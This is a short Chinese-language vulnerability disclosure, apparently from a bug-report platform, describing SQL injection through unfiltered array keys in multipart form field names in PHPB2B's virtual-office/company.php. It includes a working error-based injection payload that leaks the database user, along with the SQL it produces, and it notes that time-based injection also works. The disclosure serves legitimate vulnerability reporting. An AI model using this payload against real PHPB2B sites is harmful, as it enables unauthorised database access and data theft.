PHPB2B注入#1(绕过过滤)

漏洞作者： darker

PHPB2B某处注入#1。绕过过滤。
官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip
漏洞文件。virtual-office/company.php

详细说明：

POST /phpb2b/virtual-office/company.php

Content-Disposition: form-data; name="data[company][name]"

Content-Disposition: form-data; name="data[company][english_name']"

Content-Disposition: form-data; name="data[company][employee_amount]"

Content-Disposition: form-data; name="data[company][year_annual]"

Content-Disposition: form-data; name="data[company][manage_type]"

Content-Disposition: form-data; name="data[company][property]"

Content-Disposition: form-data; name="data[company][description]"

Content-Disposition: form-data; name="data[company][main_prod]"

Content-Disposition: form-data; name="data[company][address]"

Content-Disposition: form-data; name="data[company][zipcode]"

Content-Disposition: form-data; name="data[company][boss_name]"

Content-Disposition: form-data; name="data[company][reg_address]"

...

...

多个参数存在同样的问题。

data[*][*1] 未经处理。

exp:

Content-Disposition: form-data; name="data[company][employee_amount FROM pb_thk_companyfields where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#]"

执行：

SELECT name,english_name,employee_amount FROM pb_thk_companyfields where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#,year_annual,manage_type,property,description,main_prod,address,zipcode,boss_name,reg_address,found_date,reg_fund,bank_from,bank_account,main_brand,main_biz_place,main_customer,link_man,position,mobile,site_url,email,employee_amount,tel,fax,picture,status,industry_id,area_id,modified,cache_membergroupid FROM pb_thk_companies WHERE id='12' AND member_id=3

漏洞证明：

本地测试开启了debug模式。

可延时注入。

数据库日志。